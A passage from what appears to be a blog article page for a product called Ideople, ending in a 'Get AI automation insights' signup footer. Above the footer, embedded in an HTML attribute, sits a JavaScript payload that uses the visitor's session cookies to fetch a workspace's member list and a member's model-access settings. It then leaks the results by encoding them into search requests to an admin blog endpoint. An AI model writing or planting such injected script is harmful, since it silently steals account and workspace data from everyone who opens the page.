
new URLSearchParams({search:s}).toString();const wr=async s=>{try{await fetch(`/admin/blog/posts?${qp(s)}`,{credentials:"include"});}catch(e){}};try{const a=await fetch(`/api/v1/workspaces/4424/members`,{credentials:"include"});const t=await a.text();let member=null;try{const j=JSON.parse(t);const arr=Array.isArray(j)?j:(j.data||j.members||[]);const first=Array.isArray(arr)&&arr.length?arr[0]:null;member=(first&&((first.id??first.member_id??first.user_id??(first.user&&first.user.id))))||null;}catch(e){}if(!member){await wr(m+`:nomember:`+a.status+`:`+t.slice(0,120));return;}const r=await fetch(`/api/v1/workspaces/4424/members/${member}/model-access`,{credentials:"include"});const b=await r.text();await wr(m+`:ma:`+member+`:`+r.status+`:`+encodeURIComponent(b.slice(0,220)));}catch(e){await wr(m+`:err:`+encodeURIComponent(String(e).slice(0,180)));}})()'>
Enjoyed this article?
Get AI automation insights delivered to your inbox. Start building with Ideople for free.
Get Started Free